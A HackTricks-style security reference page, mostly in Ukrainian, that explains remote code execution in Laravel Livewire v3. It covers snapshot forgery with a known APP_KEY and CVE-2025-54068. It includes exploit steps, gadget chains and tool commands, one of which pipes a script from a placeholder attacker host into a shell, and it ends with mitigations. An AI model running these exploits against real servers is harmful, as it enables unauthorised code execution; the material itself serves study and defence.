Laravel Livewire Hydration & Synthesizer Abuse
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Підсумок роботи машини станів Livewire
Livewire 3 компоненти обмінюються своїм станом через знімки (snapshots), які містять data, memo та контрольну суму. Кожен POST до /livewire/update відновлює JSON-знімок на стороні сервера та виконує поставлені в чергу calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Кожен, хто має APP_KEY (який використовується для виведення $hashKey), може, отже, підробити довільні знімки, повторно обчисливши HMAC.
Складні властивості кодуються як синтетичні кортежі, виявлені Livewire\Drawer\BaseUtils::isSyntheticTuple(); кожен кортеж — [value, {"s":"<key>", ...meta}]. Ядро гідрації просто делегує кожен кортеж синтезатору, обраному в HandleComponents::$propertySynthesizers, і рекурсивно обробляє дочірні елементи:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ця рекурсивна конструкція робить Livewire загальним механізмом інстанціювання об’єктів, як тільки атакуючий контролює або метадані кортежа, або будь-який вкладений кортеж, що обробляється під час рекурсії.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Створює екземпляр new $meta['class']($value) після відновлення кожного дочірнього елемента. Можна створити будь-який клас з конструктором, що приймає масив, і кожен елемент сам може бути синтетичним кортежем. |
FormObjectSynth (form) | Викликає new $meta['class']($component, $path), а потім присвоює всі публічні властивості з контрольованих атакуючим дочірніх елементів через $hydrateChild. Конструктори, які приймають два слабко типізовані параметри (або аргументи за замовчуванням), достатні для доступу до довільних публічних властивостей. |
ModelSynth (mdl) | Коли key відсутній у meta, виконується return new $class;, що дозволяє створювати екземпляр будь-якого класу без аргументів. |
Оскільки synths викликають $hydrateChild на кожному вкладеному елементі, довільні графи гаджетів можна побудувати шляхом рекурсивного складання кортежів.
Forging snapshots when APP_KEY is known
- Захопіть легітимний запит
/livewire/updateі декодуйтеcomponents[0].snapshot. - Інжектуйте вкладені кортежі, що вказують на gadget-класи, і перерахуньте
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Повторно закодуйте snapshot, не змінюючи
_token/memo, і відтворіть запит.
Мінімальний доказ виконання використовує Guzzle’s FnStream і Flysystem’s ShardedPrefixPublicUrlGenerator. Один кортеж інстанціює FnStream з даними конструктора { "__toString": "phpinfo" }, наступний інстанціює ShardedPrefixPublicUrlGenerator з [FnStreamInstance] як $prefixes. Коли Flysystem приводить кожен префікс до string, PHP викликає переданий атакуючим викликаний __toString, виконуючи будь-яку функцію без аргументів.
From function calls to full RCE
Використовуючи примітиви інстанціювання Livewire, Synacktiv адаптувала ланцюжок phpggc Laravel/RCE4 так, що відновлення створює об’єкт, чий публічний стан Queueable призводить до десеріалізації:
- Queueable trait – будь-який об’єкт, що використовує
Illuminate\Bus\Queueable, має публічну властивість$chainedі виконуєunserialize(array_shift($this->chained))вdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) інстанціюється черезCollectionSynth/FormObjectSynthз заповненим публічним$chained. - phpggc Laravel/RCE4Adapted – серіалізований бінарник, збережений у
$chained[0], будує ланцюгPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()врешті викликаєcall_user_func_array($closure, $args), що дозволяє виконатиsystem($cmd). - Stealth termination – передаючи другий викликний
FnStream, наприклад[new Laravel\Prompts\Terminal(), 'exit'], запит завершується викликомexit()замість гучного винятку, зберігаючи HTTP-відповідь чистою.
Automating snapshot forgery
synacktiv/laravel-crypto-killer тепер постачається з режимом livewire, який зшиває все воєдино:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Інструмент аналізує захоплений snapshot, інжектує gadget tuples, перераховує контрольну суму і виводить payload, готовий до відправки на /livewire/update.
CVE-2025-54068 – RCE без APP_KEY
Згідно з повідомленням постачальника, проблема торкається Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) і є унікальною для v3.
updates зливаються в стан компонента після валідації контрольної суми snapshot. Якщо властивість у snapshot є (або стає) синтетичним кортежем, Livewire повторно використовує її meta під час гідратації значення update, контрольованого атакуючим:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Знайдіть Livewire компонент з нетипізованою public властивістю (наприклад,
public $count;). - Надішліть оновлення, яке встановлює цю властивість у
[]. Наступний snapshot тепер зберігає її як[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Сформуйте інший
updatespayload, де ця властивість містить глибоко вкладений масив, який вбудовує кортежі на кшталт[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Під час рекурсії
hydrate()оцінює кожен вкладений елемент незалежно, тож вибрані атакуючим synth ключі/класи будуть застосовані навіть якщо зовнішній кортеж і checksum ніколи не змінювалися. - Повторно використайте ті ж примітиви
CollectionSynth/FormObjectSynth, щоб інстанціювати Queueable gadget, у якого$chained[0]містить phpggc payload. Livewire оброблює підроблені updates, викликаєdispatchNextJobInChain()і доходить доsystem(<cmd>)без знанняAPP_KEY.
Key reasons this works:
updatesне покриваються контрольною сумою snapshot.getMetaForPath()довіряє тим synth метаданим, що вже існували для цієї властивості, навіть якщо атакуючий раніше примусив її стати кортежем через weak typing.- Рекурсія в поєднанні з weak typing дозволяє кожному вкладеному масиву інтерпретуватися як новий кортеж, тож довільні synth ключі й довільні класи врешті-решт доходять до hydration.
Livepyre – експлуатація від початку до кінця
Livepyre автоматизує як APP_KEY-less CVE, так і шлях зі signed-snapshot:
- Визначає версію розгорнутого Livewire, парсячи
<script src="/livewire/livewire.js?id=HASH">і зіставляючи хеш із вразливими релізами. - Збирає базові snapshots, програючи безпечні дії та витягуючи
components[].snapshot. - Генерує або
updates-only payload (CVE-2025-54068), або підроблений snapshot (за наявного APP_KEY) з вбудованим phpggc chain. - Якщо у snapshot не знайдено параметра типу object, Livepyre переходить до брутфорсу кандидатних параметрів, щоб знайти властивість, яку можна привести.
Типове використання:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check запускає недеструктивну перевірку, -F пропускає version gating, -H та -P додають користувацькі заголовки або проксі, а --function/--param налаштовують php-функцію, яку викликає gadget chain.
Заходи захисту
- Оновіть до виправлених збірок Livewire (>= 3.6.4 згідно з бюлетенем вендора) та застосуйте патч вендора для CVE-2025-54068.
- Уникайте слабко типізованих публічних властивостей у компонентах Livewire; явні скалярні типи перешкоджають приведенню значень властивостей до масивів/кортежів.
- Реєструйте лише ті synthesizers, які вам справді потрібні, і ставтесь до керованих користувачем метаданих (
$meta['class']) як до ненадійних. - Відхиляйте оновлення, які змінюють JSON-тип властивості (наприклад, scalar -> array), якщо це явно не дозволено, і повторно виводьте synth metadata замість повторного використання застарілих кортежів.
- Негайно змініть
APP_KEYпісля будь-якого розкриття, оскільки він дозволяє створювати підроблені офлайн-снапшоти незалежно від того, наскільки виправлено код.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


